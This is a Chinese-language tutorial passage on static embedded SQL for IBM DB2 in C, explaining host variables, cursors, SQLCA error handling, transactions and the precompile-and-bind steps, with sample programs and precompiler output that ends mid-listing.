<description><![CDATA[第三节 IBM DB2嵌入SQL语言<BR>DB2支持SQL嵌入到C/C++、JAVA、COBOL、FORTRAN和REXX等语言。本节以SQL嵌入C/C++为例子，讲解静态的嵌入SQL编程和动态的嵌入SQL编程。<BR>静态SQL嵌入C语言编程是指，应用程序在书写时，每个SQL语句的大部分都已确定下来（如：查询的表、列和语句的格式等），唯一不确定的是查询语句中某些特定变量的值，这些值可以在执行时由变量传进去，但是，值的类型要事先确定。<BR>3.1 一个简单示例<BR>首先，我们来看一个嵌入静态SQL语句的C程序。<BR>例1、连接到SAMPLE数据库，查询LASTNAME为JOHNSON的FIRSTNAME信息。<BR>#include &lt;stdio.h&gt;<BR>#include &lt;stdlib.h&gt;<BR>#include &lt;string.h&gt;<BR>#include "util.h"<BR>#include &lt;sqlca.h&gt;<BR>EXEC SQL INCLUDE SQLCA; （1）<BR>#define CHECKERR(CE_STR) if (check_error (CE_STR, &amp;sqlca) != 0) return 1;<BR>int check_error (char eString[], struct sqlca *caPointer) {<BR>char eBuffer[1024];<BR>char sBuffer[1024];<BR>short rc, Erc;<BR>if (caPointer-&gt;sqlcode != 0) {<BR>printf ("--- error report ---\n");<BR>printf ("ERROR occured : %s.\nSQLCODE : %ld\n", eString,<BR>caPointer-&gt;sqlcode);<BR>}<BR>return 0;<BR>}<BR>int main(int argc, char *argv[]) {<BR>EXEC SQL BEGIN DECLARE SECTION; （2）<BR>char firstname[13];<BR>char userid[9];<BR>char passwd[19];<BR>EXEC SQL END DECLARE SECTION;<BR>printf( "Sample C program: STATIC\n" );<BR>if (argc == 1) {<BR>EXEC SQL CONNECT TO sample;<BR>CHECKERR ("CONNECT TO SAMPLE");<BR>}<BR>else if (argc == 3) { <BR>strcpy (userid, argv[1]);<BR>strcpy (passwd, argv[2]);<BR>EXEC SQL CONNECT TO sample USER :userid USING :passwd; （3）<BR>CHECKERR ("CONNECT TO SAMPLE");<BR>}<BR>else {<BR>printf ("\nUSAGE: static [userid passwd]\n\n");<BR>return 1;<BR>} /* endif */<BR><BR>EXEC SQL SELECT FIRSTNME INTO :firstname <BR>FROM employee<BR>WHERE LASTNAME = 'JOHNSON';（4）<BR>CHECKERR ("SELECT statement"); （5）<BR>printf( "First name = %s\n", firstname );<BR>EXEC SQL CONNECT RESET; （6）<BR>CHECKERR ("CONNECT RESET");<BR>return 0;<BR>}<BR>/* end of program : STATIC.SQC */ 
<P>上面是一个简单的静态嵌入SQL语句的应用程序。它包括了静态嵌入SQL的主要部分。<BR>（1）中的include SQLCA语句定义并描述了SQLCA的结构。SQLCA用于应用程序和数据库之间的通讯，其中的SQLCODE返回SQL语句执行后的结果状态。<BR>（2）在BEGIN DECLARE SECTION和END DECLARE SECTION之间定义了主变量。主变量可被SQL语句引用，也可以被C语言语句引用。它用于将程序中的数据通过SQL语句传给数据库管理器，或从数据库管理器接收查询的结果。在SQL语句中，主变量前均有“：”标志以示区别。<BR>（3）在每次访问数据库之前必须做CONNECT操作，以连接到某一个数据库上。这时，应该保证数据库实例已经启动。<BR>（4）是一条选择语句。它将表employee中的LASTNAME为“JOHNSON”的行数据的FIRSTNAME查出，并将它放在firstname变量中。该语句返回一个结果。可以通过游标返回多个结果。<BR>（5）在该程序中通过调用宏CHECKERR（即调用函数check_error）来返回SQL语句执行的结果。Check_error函数在下面讲解。<BR>（6）最后断开数据库的连接。<BR>从上例看出，每条嵌入式SQL语句都用EXEC SQL开始，表明它是一条SQL语句。这也是告诉预编译器在EXEC SQL和“；”之间是嵌入SQL语句。如果一条嵌入式SQL语句占用多行，在C程序中可以用续行符“\”。<BR>3.2 嵌入SQL语句<BR>3.2.1宿主变量<BR>1）、声明方法<BR>宿主变量就是在嵌入式SQL语句中引用主语言说明的程序变量（如上例中的firstname变量）。如：<BR>………….<BR>EXEC SQL SELECT FIRSTNME INTO :firstname (4)<BR>FROM employee<BR>WHERE LASTNAME = 'JOHNSON';<BR>………….<BR>在嵌入式SQL语句中使用宿主变量前，必须采用BEGIN DECLARE SECTION 和END DECLARE SECTION之间给宿主变量说明。这两条语句不是可执行语句，而是预编译程序的说明。宿主变量是标准的C程序变量。嵌入SQL语句使用宿主变量把数据库中查询到的值返回给应用程序（称为输出宿主变量），也用于将程序中给定的值传到SQL语句中（称为输入宿主变量）。显然，C程序和嵌入SQL语句都可以访问宿主变量。<BR>在使用宿主变量前，请注意以下几点：<BR>l宿主变量的长度不能超过30字节。开始的字母不能是EXEC和SQL。<BR>l宿主变量必须在被引用之前定义。<BR>l一个源程序文件中可以有多个SQL说明段。<BR>l宿主变量名在整个程序中必须是唯一的。<BR>2）、宿主变量的数据类型<BR>宿主变量是一个用程序设计语言的数据类型说明并用程序设计语言处理的程序变量；另外，在嵌入SQL语句中用宿主变量保存数据库数据。所以，在嵌入SQL语句中，必须映射C数据类型为合适的DB2数据类型。必须慎重选择宿主变量的数据类型。请看下面这个例子：<BR>EXEC SQL BEGIN DECLARE SECTION;<BR>short hostvar1 = 39;<BR>char *hostvar2 = "telescope";<BR>EXEC SQL END DECLARE SECTION; 
<P>EXEC SQL UPDATE inventory<BR>SET department = :hostvar1<BR>WHERE part_num = "4572-3"; 
<P>EXEC SQL UPDATE inventory<BR>SET prod_descrip = :hostvar2<BR>WHERE part_num = "4572-3";<BR>在第一个update语句中，department列为smallint数据类型，所以应该把hostvar1定义为short数据类型。这样的话，从C到DB2的hostvar1可以直接映射。在第二个update语句中，prod_descip列为varchar数据类型，所以应该把hostvar2定义为字符数组。这样的话，从C到DB2的hostvar2可以从字符数组映射为varchar数据类型。<BR>下表列出了C的数据类型和DB2的数据类型的一些转换关系：<BR>DB2数据类型C数据类型<BR>Smallintshort<BR>IntegerLong<BR>Decimal（p，s）无<BR>DoubleDouble<BR>DateChar[11]<BR>TimeChar[9]<BR>TimestampChar[27]<BR>Char（X）Char[X+1]<BR>Varchar（X）Char[X+1]<BR>Graphic（X）Wchar_t[X+1]<BR>Vargraphic（X）Wchar_t[X+1]<BR>因为C没有date或time数据类型，所以DB2的date或time列将被转换为字符。缺省情况下，使用以下转换格式：mm dd yyyy hh:mm:ss[am | pm]。你也可以使用字符数据格式将C的字符数据存放到DB2的date列上。对于DECIMAL数据类型，在C语言中也没有对应的数据类型。但可以使用char数据类型实现。<BR>3）、宿主变量和NULL<BR>大多数程序设计语言（如C）都不支持NULL。所以对NULL的处理，一定要在SQL中完成。我们可以使用主机指示符变量来解决这个问题。在嵌入式SQL语句中，宿主变量和指示符变量共同规定一个单独的SQL类型值。指示变量和前面宿主变量之间用一个空格相分隔。如：<BR>EXEC SQL SELECT price INTO :price :price_nullflag FROM titles <BR>WHERE au_id = "mc3026"<BR>其中，price是宿主变量，price_nullflag是指示符变量。指示符变量的值为：<BR>l-1。表示宿主变量应该假设为NULL。（注意：宿主变量的实际值是一个无关值，不予考虑）。<BR>l=0。表示宿主变量不是NULL。<BR>l&gt;0。表示宿主变量不是NULL。而且宿主变量对返回值作了截断，指示变量存放了截断数据的长度。<BR>所以，上面这个例子的含义是：如果不存在mc3026写的书，那么price_nullflag为-1，表示price为NULL；如果存在，则price为实际的价格。<BR>指示变量也是一种宿主变量，也需要在程序中定义，它对应数据库系统中的数据类型为SMALLINT。为了便于识别宿主变量，当嵌入式SQL语句中出现宿主变量时，必须在变量名称前标上冒号（：）。冒号的作用是，告诉预编译器，这是个宿主变量而不是表名或列名。<BR>3.2.2单行查询<BR>单行查询是通过SELECT INTO语句完成。当这条语句执行时，查询的结果送入INTO所标志的变量中。如果SQLCODE是100，或者SQLSTATE是02000，则说明没有查询到结果或返回结果为NULL，这时，宿主变量不改变，否则，宿主变量中将包含查询的结果。如：<BR>………….<BR>EXEC SQL SELECT FIRSTNME INTO :firstname <BR>FROM employee<BR>WHERE LASTNAME = 'JOHNSON';<BR>…………. 
<P>3.2.3多行查询<BR>对于多行结果，必须使用游标来完成。游标是一个与SELECT语句相关联的符号名，它使用户可逐行访问由DB2返回的结果集。下面这个例子演示了游标的使用方法。这个例子的作用是，逐行打印出每个经理的名字和部门。<BR>#include &lt;stdio.h&gt;<BR>#include &lt;stdlib.h&gt;<BR>#include &lt;string.h&gt;<BR>#include "util.h"<BR>EXEC SQL INCLUDE SQLCA;<BR>#define CHECKERR(CE_STR) if (check_error (CE_STR, &amp;sqlca) != 0) return 1;<BR>int main(int argc, char *argv[]) {<BR>EXEC SQL BEGIN DECLARE SECTION;<BR>char pname[10];<BR>short dept;<BR>char userid[9];<BR>char passwd[19];<BR>EXEC SQL END DECLARE SECTION;<BR>printf( "Sample C program: CURSOR \n" );<BR>if (argc == 1) {<BR>EXEC SQL CONNECT TO sample;<BR>CHECKERR ("CONNECT TO SAMPLE");<BR>}<BR>else if (argc == 3) { <BR>strcpy (userid, argv[1]);<BR>strcpy (passwd, argv[2]);<BR>EXEC SQL CONNECT TO sample USER :userid USING :passwd;<BR>CHECKERR ("CONNECT TO SAMPLE");<BR>}<BR>else {<BR>printf ("\nUSAGE: cursor [userid passwd]\n\n");<BR>return 1;<BR>} /* endif */<BR><BR>EXEC SQL DECLARE c1 CURSOR FOR (1)<BR>SELECT name, dept FROM staff WHERE job='Mgr'<BR>FOR UPDATE OF job;<BR>EXEC SQL OPEN c1; (2)<BR>CHECKERR ("OPEN CURSOR");<BR>do {<BR>EXEC SQL FETCH c1 INTO :pname, :dept; (3)<BR>if (SQLCODE != 0) break;<BR>printf( "%-10.10s in dept. %2d will be demoted to Clerk\n",<BR>pname, dept );<BR>} while ( 1 );<BR>EXEC SQL CLOSE c1; (4)<BR>CHECKERR ("CLOSE CURSOR");<BR>EXEC SQL ROLLBACK;<BR>CHECKERR ("ROLLBACK");<BR>printf( "\nOn second thought -- changes rolled back.\n" );<BR>EXEC SQL CONNECT RESET;<BR>CHECKERR ("CONNECT RESET");<BR>return 0;<BR>}<BR>/* end of program : CURSOR.SQC */<BR>在上面这个程序中，<BR>（1）定义了一个游标，并指明游标的名字为C1，同时给出了相对于游标的查询语句和游标类型（UPDATE）。<BR>（2）打开游标。系统执行查询语句，建立结果表，将游标指针指向第一条记录之前。<BR>（3）FETCH语句将指针的下一条记录取出，将记录中的数据存放在相应的宿主变量中。同时指针下移。<BR>（4）用CLOSE关闭游标。 
<P>3.2.4插入、删除和修改操作<BR>DB2中的插入、删除和修改操作同SQL语句中INSERT、DELETE和UPDATE语句类似。只需在相应的SQL语句前加上EXEC SQL即可。请看下面这个例子：<BR>例、将staff表中所有工作为“Mgr”的职工的工作改变为“clerk”，并将staff表中所有工作为“sale”的职工信息删除。最后插入一新行。<BR>#include &lt;stdio.h&gt;<BR>#include &lt;string.h&gt;<BR>#include &lt;stdlib.h&gt;<BR>#include &lt;sqlenv.h&gt;<BR>#include "util.h"<BR>EXEC SQL INCLUDE SQLCA; (1)<BR>#define CHECKERR(CE_STR) if (check_error (CE_STR, &amp;sqlca) != 0) return 1;<BR>int main(int argc, char *argv[]) {<BR>EXEC SQL BEGIN DECLARE SECTION; (2)<BR>char statement[256];<BR>char userid[9];<BR>char passwd[19];<BR>char jobUpdate[6];<BR>EXEC SQL END DECLARE SECTION;<BR>printf( "\nSample C program: UPDAT \n");<BR>if (argc == 1) {<BR>EXEC SQL CONNECT TO sample;<BR>CHECKERR ("CONNECT TO SAMPLE");<BR>}<BR>else if (argc == 3) { <BR>strcpy (userid, argv[1]);<BR>strcpy (passwd, argv[2]);<BR>EXEC SQL CONNECT TO sample USER :userid USING :passwd; (3)<BR>CHECKERR ("CONNECT TO SAMPLE");<BR>}<BR>else {<BR>printf ("\nUSAGE: updat [userid passwd]\n\n");<BR>return 1;<BR>} /* endif */<BR>strcpy (jobUpdate, "Clerk");<BR>EXEC SQL UPDATE staff SET job = :jobUpdate WHERE job = 'Mgr'; (4)<BR>CHECKERR ("UPDATE STAFF");<BR>printf ("All 'Mgr' have been demoted to 'Clerk'!\n" );<BR>strcpy (jobUpdate, "Sales");<BR>EXEC SQL DELETE FROM staff WHERE job = :jobUpdate; (5)<BR>CHECKERR ("DELETE FROM STAFF");<BR>printf ("All 'Sales' people have been deleted!\n");<BR>EXEC SQL INSERT INTO staff <BR>VALUES (999, 'Testing', 99, :jobUpdate, 0, 0, 0); (6)<BR>CHECKERR ("INSERT INTO STAFF");<BR>printf ("New data has been inserted\n");<BR>EXEC SQL ROLLBACK; (7)<BR>CHECKERR ("ROLLBACK");<BR>printf( "On second thought -- changes rolled back.\n" );<BR>EXEC SQL CONNECT RESET;<BR>CHECKERR ("CONNECT RESET");<BR>return 0;<BR>}<BR>/* end of program : UPDAT.SQC */<BR>上述语句：<BR>（1）包含SQLCA结构。该结构用于将SQL语句执行的结果信息返回给应用程序。<BR>（2）宿主变量定义。<BR>（3）连接到DB2的SAMPLE数据库。<BR>（4）UPDATE语句将staff表中所有工作为“Mgr”的职工的工作改变为“clerk”。<BR>（5）DELETE语句将staff表中所有工作为“sale”的职工信息删除。<BR>（6）INSERT语句插入一新行。 
<P>指定位置的UPDATE语句和DELETE语句 
<P>游标操作除了可以将多行的查询结果返回给应用程序，它还可以与UPDATE语句和DELETE相结合，根据游标当前的位置，对指针所指的这个行数据执行UPDATE操作和DELETE操作。它的语法为：<BR>UPDATE…. WHERE CURRENT OF cursor_name<BR>DELETE [FROM] {table_name | view_name} WHERE CURRENT OF cursor_name<BR>请看下面这个例子。这个例子的作用是：将部门大于40的员工的工作改变为“clerk”，部门小于等于40的员工信息删除。<BR>#include &lt;stdio.h&gt;<BR>#include &lt;stdlib.h&gt;<BR>#include &lt;string.h&gt;<BR>#include "util.h"<BR>EXEC SQL INCLUDE SQLCA;<BR>#define CHECKERR(CE_STR) if (check_error (CE_STR, &amp;sqlca) != 0) return 1;<BR>int main(int argc, char *argv[]) {<BR>EXEC SQL BEGIN DECLARE SECTION;<BR>char pname[10];<BR>short dept;<BR>char userid[9];<BR>char passwd[19];<BR>EXEC SQL END DECLARE SECTION;<BR>printf( "Sample C program: OPENFTCH\n" );<BR>if (argc == 1) {<BR>EXEC SQL CONNECT TO sample; <BR>CHECKERR ("CONNECT TO SAMPLE"); <BR>}<BR>else if (argc == 3) { <BR>strcpy (userid, argv[1]);<BR>strcpy (passwd, argv[2]);<BR>EXEC SQL CONNECT TO sample USER :userid USING :passwd; <BR>CHECKERR ("CONNECT TO SAMPLE"); <BR>}<BR>else {<BR>printf ("\nUSAGE: openftch [userid passwd]\n\n");<BR>return 1;<BR>} /* endif */<BR>EXEC SQL DECLARE c1 CURSOR FOR <BR>SELECT name, dept FROM staff WHERE job='Mgr'<BR>FOR UPDATE OF job;<BR>EXEC SQL OPEN c1; <BR>CHECKERR ("OPEN CURSOR");<BR><BR>do {<BR>EXEC SQL FETCH c1 INTO :pname, :dept; <BR>if (SQLCODE != 0) break;<BR><BR>if (dept &gt; 40) {<BR>printf( "%-10.10s in dept. %2d will be demoted to Clerk\n",<BR>pname, dept );<BR>EXEC SQL UPDATE staff SET job = 'Clerk' <BR>WHERE CURRENT OF c1;<BR>CHECKERR ("UPDATE STAFF");<BR>} else {<BR>printf ("%-10.10s in dept. %2d will be DELETED!\n",<BR>pname, dept);<BR>EXEC SQL DELETE FROM staff WHERE CURRENT OF c1;<BR>CHECKERR ("DELETE");<BR>} /* endif */<BR>} while ( 1 );<BR><BR>EXEC SQL CLOSE c1; <BR>CHECKERR ("CLOSE CURSOR");<BR>EXEC SQL ROLLBACK;<BR>CHECKERR ("ROLLBACK");<BR>printf( "\nOn second thought -- changes rolled back.\n" );<BR>EXEC SQL CONNECT RESET;<BR>CHECKERR ("CONNECT RESET");<BR>return 0;<BR>}<BR>/* end of program : OPENFTCH.SQC */ 
<P>在通过游标进行UPDATE和DELETE操作时，相应的游标在定义时必须加上FOR UPDATE子句。操作时，游标必须打开，而且正指向一行数据。<BR>3.2.5 SQLCA<BR>应用程序执行时，每执行一条SQL语句，就返回一个状态符和一些附加信息。这些信息反映了SQL语句或API的执行情况，它有助于用户分析应用程序的错误所在。这些信息都存放在一个定义在sqlca.h的sqlca结构中。如果一个源文件中后SQL语句，则必须要在源程序中定义一个SQLCA结构，而且名为SQLCA。最简单的定义方法是在源文件中加入一些语句：EXEC SQL INCLUDE sqlca.h<BR>下面，我们首先看看SQLCA的结构：<BR>SQL_STRUCTURE sqlca<BR>{<BR>_SQLOLDCHAR sqlcaid[8]; /* Eyecatcher = 'SQLCA ' */<BR>long sqlcabc; /* SQLCA size in bytes = 136 */<BR>#ifdef DB2_SQL92E<BR>long sqlcade; /* SQL return code */<BR>#else<BR>long sqlcode; /* SQL return code */<BR>#endif<BR>short sqlerrml; /* Length for SQLERRMC */<BR>_SQLOLDCHAR sqlerrmc[70]; /* Error message tokens */<BR>_SQLOLDCHAR sqlerrp[8]; /* Diagnostic information */<BR>long sqlerrd[6]; /* Diagnostic information */<BR>_SQLOLDCHAR sqlwarn[11]; /* Warning flags */<BR>#ifdef DB2_SQL92E<BR>_SQLOLDCHAR sqlstat[5]; /* State corresponding to SQLCODE */<BR>#else<BR>_SQLOLDCHAR sqlstate[5]; /* State corresponding to SQLCODE */<BR>#endif<BR>};<BR>结构中各个字段的作用是：<BR>lSqlcaid：包含字符串“SQLCA”。<BR>lSqlcabc：包含SQLCA结构的长度。<BR>lSqlcode：该值反映了SQL语句执行后的状态，0表示SQL执行成功；&lt;0表示SQL语句执行出错；&gt;0反映了一些特殊情况（如：没有查询结果）。不同的数据库产品，该值代表的含义可能不同。<BR>lSqlerrml：sqlerrmc域中数据的实际长度。<BR>lSqlerrmc：由0个或多个字符串组成，它对返回的值给予一个更详细的解释。<BR>lSqlerrp：包含一些对用户没有用的信息。<BR>lSqlwarn：包含了一些警告信息。<BR>lSqlstate：长度为5的字符串。它表示SQL语句执行的结果。它的每一个含义是遵循ANSI/SQL 92标准。各个数据库产品的sqlstate域的含义都是相同的。<BR>为了更方便地读取sqlca中SQL语句执行后的结果或错误，DB2提供了一个函数——sqlaintp，它在sql.h中声明：sqlaintp(msgbuf,bufsize,linesize,sqlcaptr)。其中msgbuf中存放信息；bufsize中存放了msgbuf的长度；linesize中存放了两个执行符之间的字符长度。函数的返回值为正，代表信息的长度；为负代表没有信息返回。<BR>下面这个例子解释了sqlca和sqlaintp的使用方法：<BR>int check_error (char eString[], struct sqlca *caPointer) {<BR>char eBuffer[1024];<BR>char sBuffer[1024];<BR>short rc, Erc;<BR>/*通过SQLCODE来判断是否出错*/<BR>if (caPointer-&gt;sqlcode != 0) {<BR>printf ("--- error report ---\n");<BR>printf ("ERROR occured : %s.\nSQLCODE : %ld\n", eString,<BR>caPointer-&gt;sqlcode);<BR>/* 获取SQLSTATE信息*/<BR>rc = sqlogstt (sBuffer, 1024, 80, caPointer-&gt;sqlstate);<BR>/*获取调用API的错误信息*/<BR>Erc = sqlaintp (eBuffer, 1024, 80, caPointer);<BR>/* Erc中存放了eBuffer 的长度*/<BR>if (Erc &gt; 0) printf ("%s", eBuffer);<BR>if (caPointer-&gt;sqlcode &lt; 0) { /*错误信息*/<BR>if (rc == 0) {<BR>printf ("\n%s", sBuffer);<BR>}<BR>printf ("--- end error report ---\n");<BR>return 1;<BR>} else {<BR>/* 仅仅是警告信息 */<BR>if (rc == 0) {<BR>printf ("\n%s", sBuffer);<BR>}<BR>printf ("--- end error report ---\n");<BR>printf ("WARNING - CONTINUING PROGRAM WITH WARNINGS!\n");<BR>return 0;<BR>} /* endif */<BR>} /* endif */<BR>return 0;<BR>}<BR>在每条SQL语句执行后都返回一个SQLCA结构，SQLCA结构中记载了SQL语句执行后的结果信息。用户可以根据返回信息执行各种操作。DB2也提供了WHENEVER语句。具体可参见SQL SERVER中的WHENEVER。但是，在DB2中，没有WHENEVER…CALL这个处理。<BR>3.2.6事务<BR>所谓事务，就是一系列应用程序和数据库之间交互操作的集合。一旦一个事务开始执行，则事务中的操作要么全部执行，要么全部不执行。<BR>l事务开始：DB2事务是隐式开始的，除了下列的一些语句，其他任何一个可执行的SQL语句都隐式地开始一个事务。<BR>BEGIN DECLARE SECTION END DECLARE SECTION<BR>DECLARE CURSOR INCLUDE SQLCA INCLUDE SQLDA<BR>WHENEVER<BR>l事务结束：事务由一个可执行的SQL语句开始，后面执行的所有SQL语句都将属于同一个事务，该事务一直遇到COMMIT或ROLLBACK命令时才结束。<BR>COMMIT操作的作用是，结束当前的事务，事务对数据库所做的修改永久化。ROLLBACK的作用是，结束当前的事务，将被修改的数据恢复到事务执行以前的状态，即取消事务执行产生的影响。当程序结束时，系统自动隐式地执行COMMIT操作，如果系统检测到死锁等故障，则隐式地执行ROLLBACK操作。<BR>3.3 DB2的嵌入SQL程序处理过程<BR>嵌入SQL程序处理，由一个源程序创建为一个可执行文件的过程。如下图所示： 
<P>
<P>
<P>
<P>
<P>
<P>
<P>
<P>
<P><BR>图6-3 嵌入SQL处理过程<BR>从上图看出，首先对源文件做预编译（precompiler），生成两个部分文件：一部分是纯的C程序源文件，它们和其他的C程序源文件一起，经过编译和连接生成可执行的程序（executable program）；而另一部分是bind文件或package文件。Bind文件经过binder操作以后，也生成为package文件。所谓package，实际上是SQL语句的访问计划。所以，预编译器将源程序中的SQL语句提出来，生成他们的访问计划，并将访问计划存放在数据库管理器中。当执行程序并遇到访问数据库的命令时，它将到数据库管理器中寻找属于它的访问计划，然后按照访问计划中所设计的方法对数据库进行访问。具体来说：<BR>第一步、预编译<BR>源程序生成以后，在源程序中嵌入了许多SQL语句，而SQL语句是宿主语言编译器所不认识的，所以在用宿主语言编译器进行编译、连接之前必须将SQL语句分离出来，这就是预编译所做的工作。DB2中预编译操作是通过PREP命令执行的，PREP命令首先将源程序中的所有有关SQL语句全部注释起来，对它进行分析和语法检查。如果源程序中的SQL语句全部书写正确，则将这些SQL语句转换成C语言可以识别的一系列的API函数。这些函数可以在函数执行时访问数据库，然后将源文件中所有用于生成数据库管理器的PACKAGE的数据提出组合成一个BIND文件。也可以直接生成一个PACKAGE，但这相当于在预编译后又执行了一次BIND操作。在预编译时，对整个源程序文件中的所有变量做统一处理而不根据变量的生命期来处理，所以宿宿主变量在整个程序中是唯一的。下面讲解预编译的步骤：<BR>1）、连接到一个数据库，该操作是为BIND做准备。操作如下：<BR>db2 connect to cicstest<BR>2）、执行预编译命令，假设源文件为adhoc.sqc，则：<BR>db2 prep adhoc.sqc bindfile<BR>下面我们对预编译的几种输出文件进行讨论。<BR>l预编译后生成的C语言源文件：该文件中原有的SQL语句，已经全部加上注释并转换成了C语言可以识别的API调用。<BR>lBIND文件：如果在预编译时使用BINDFILE选项，则生成BIND文件，BIND文件的后缀为.bnd，BIND文件可以在将来使用BIND命令来生成PACKAGE。<BR>db2 bind adhoc.bnd<BR>如果在预编译时，只生成BIND文件，那么即使在预编译时，不能访问某些数据库对象，系统也只是报警，而不会报错。如果使用PACKAGE选项，则生成PACKAGE。如果有MESSAGE选项，则生成信息文件，它包含了所有的返回信息，如：警报、错误等。它便于程序员对源程序做进一步的修改。<BR>第二步、编译和连接<BR>在预编译后，程序中只有C语言语句，它们都可以为C语言的编译器所识别。所以，可以按照一般的方法进行编译和连接，但在将SQL语句转换以后，在C语言程序中，又引入了许多一般的C语言系统所没有的INCLUDE文件和函数库，这些均在DB2的SDK中。所以，要生成可执行的程序，就必须安装DB2的SDK，并且做以下设置：<BR>set INCLUDE=$(DB2PATH)\include;%include%<BR>set LIB=$(DB2PATH)\lib;%LIB%<BR>下面是编译和连接：<BR>cl -o adhoc.exe adhoc.c<BR>生成的可执行文件必须与数据库管理器中的PACKAGE相结合，才能执行。<BR>下面对BIND做进一步解释。<BR>PACKAGE是DB2为SQL语句制定的访问计划。通过precompile之后，源程序中的SQL语句部分就被分离出来。PACKAGE就是根据具体的SQL语句和数据库中的信息生成的针对每条SQL语句的访问计划，它存放在DB2数据库服务器上。应用程序执行到SQL语句时，就到相应的服务器上去找它们的PACKAGE，数据库服务器根据PACKAGE执行具体的数据库操作。所以，如果一个应用程序访问了多个数据库服务器，则该应用程序应在它访问到的数据库服务器上均生成相应的PACKAGE。因此，当遇到这种情况时，推荐的方式是将源程序分成若干个文件，每个文件只访问一个服务器，然后分别进行预编译。<BR>执行PREP命令时，加上选项PACKAGE或不注明BINDFILE、SYNTAX或SQLFLAG选项，这时BIND操作将自动进行。<BR>直接使用BIND命令从BIND文件中生成PACKAGE存放在数据库管理器中。BIND完成的功能是，从数据库中找到SQL语句所涉及的表，查看SQL语句中提到的表名及属性是否与数据库中的表名和属性相匹配，以及应用程序开发者是否有权限查询或修改应用程序中所涉及到的表及属性。这就是为什么在预编译之前要连接到相应的数据库上的原因。在做BIND操作后，在数据库管理器中就生成一个PACKAGE，PACKAGE的名字与源程序的文件名字相同。<BR>一个源文件在数据库中可有多个PACKAGE存在。为了区分不同的PACKAGE，DB2中引入了时间戳的概念。在PREP执行时，系统对生成的修改过的C语言程序和BIND文件以及PACKAGE中都加入了一个时间戳。BIND文件在生成PACKAGE时也将时间戳传递下来，修改过的C语言程序在生成可执行程序时，同样也将时间戳传递下去。当应用程序运行时，可执行程序是通过时间戳找到相应的PACKAGE，如果时间戳不匹配，则说明版本更新，需要做BIND。<BR>本章第一个例子被编译后所生成的C程序：<BR>static char sqla_program_id[40] = <BR>{111,65,65,66,65,73,65,70,89,65,78,71,90,72,32,32,68,69,77,79,<BR>68,66,50,32,67,65,51,54,75,75,67,81,48,49,49,49,49,50,32,32};<BR>#include "sqladef.h"<BR>static struct sqla_runtime_info sqla_rtinfo = <BR>{{'S','Q','L','A','R','T','I','N'}, sizeof(wchar_t), 0, {' ',' ',' ',' '}};<BR>#line 1 "demodb2.sqc"<BR>#include &lt;stdio.h&gt;<BR>#include &lt;stdlib.h&gt;<BR>#include &lt;string.h&gt;<BR>#include "util.h"<BR>#include &lt;sqlca.h&gt;<BR>/*<BR>EXEC SQL INCLUDE SQLCA;<BR>*/<BR>/* SQL Communication Area - SQLCA - structures and constants */<BR>#include "sqlca.h"<BR>struct sqlca sqlca;<BR>#line 6 "demodb2.sqc"<BR>#define CHECKERR(CE_STR) if (check_error (CE_STR, &amp;sqlca) != 0) return 1;<BR>int check_error (char eString[], struct sqlca *caPointer) {<BR>char eBuffer[1024];<BR>char sBuffer[1024];<BR>short rc, Erc;<BR>if (caPointer-&gt;sqlcode != 0) {<BR>printf ("--- error report ---\n");<BR>printf ("ERROR occured : %s.\nSQLCODE : %ld\n", eString,<BR>caPointer-&gt;sqlcode);<BR>}<BR>return 0;<BR>}<BR>int main(int argc, char *argv[]) {<BR>/*<BR>EXEC SQL BEGIN DECLARE SECTION;<BR>*/<BR>#line 21 "demodb2.sqc"<BR>char firstname[13];<BR>char userid[9];<BR>char passwd[19];<BR>/*<BR>EXEC SQL END DECLARE SECTION;<BR>*/<BR>#line 25 "demodb2.sqc" 
<P>printf( "Sample C program: STATIC\n" );<BR>if (argc == 1) {<BR>/*<BR>EXEC SQL CONNECT TO sample;<BR>*/<BR>{<BR>#line 28 "demodb2.sqc"<BR>sqlastrt(sqla_program_id, &amp;sqla_rtinfo, &amp;sqlca);<BR>#line 28 "demodb2.sqc"<BR>sqlaaloc(2,1,1,0L);<BR>{<BR>struct sqla_setd_list sql_setdlist[1];<BR>#line 28 "demodb2.sqc"<BR>sql_setdlist[0].sqltype = 460; sql_setdlist[0].sqllen = 7;<BR>#line 28 "demodb2.sqc"<BR>sql_setdlist[0].sqldata = (void*)"sample";<BR>#line 28 "demodb2.sqc"<BR>sql_setdlist[0].sqlind = 0L;<BR>#line 28 "demodb2.sqc"<BR>sqlasetd(2,0,1,sql_setdlist,0L);<BR>}<BR>#line 28 "demodb2.sqc"<BR>sqlacall((unsigned short)29,4,2,0,0L);<BR>#line 28 "demodb2.sqc"<BR>sqlastop(0L);<BR>}<BR>#line 28 "demodb2.sqc"<BR>CHECKERR ("CONNECT TO SAMPLE");<BR>}<BR>else if (argc == 3) { <BR>strcpy (userid, argv[1]);<BR>strcpy (passwd, argv[2]);<BR>/*<BR>EXEC SQL CONNECT TO sample USER :userid USING :passwd;<BR>*/<BR>{<BR>#line 34 "demodb2.sqc"<BR>sqlastrt(sqla_program_id, &amp;sqla_rtinfo, &amp;sqlca);<BR>#line 34 "demodb2.sqc"<BR>sqlaaloc(2,3,2,0L);<BR>{<BR>struct sqla_setd_list sql_setdlist[3];<BR>#line 34 "demodb2.sqc"<BR>sql_setdlist[0].sqltype = 460; sql_setdlist[0].sqllen = 7;<BR>#line 34 "demodb2.sqc"<BR>sql_setdlist[0].sqldata = (void*)"sample";<BR>#line 34 "demodb2.sqc"<BR>sql_setdlist[0].sqlind = 0L;<BR>#line 34 "demodb2.sqc"<BR>sql_setdlist[1].sqltype = 460; sql_setdlist[1].sqllen = 9;<BR>#line 34 "demodb2.sqc"<BR>sql_setdlist[1].sqldata = (void*)userid;<BR>#line 34 "demodb2.sqc"<BR>sql_setdlist[1].sqlind = 0L;<BR>#line 34 "demodb2.sqc"<BR>sql_setdlist[2].sqltype = 460; sql_setdlist[2].sqllen = 19;<BR>#line 34 "demodb2.sqc"<BR>sql_setdlist[2].sqldata = (void*)passwd;<BR>#line 34 "demodb2.sqc"<BR>sql_setdlist[2].sqlind = 0L;<BR>#line 34 "demodb2.sqc"<BR>sqlasetd(2,0,3,sql_setdlist,0L);<BR>}<BR>#line 34 "demodb2.sqc"<BR>sqlacall((unsigned short)29,5,2,0,0L);<BR>#line 34 "demodb2.sqc"<BR>sqlastop(0L);<BR>} 
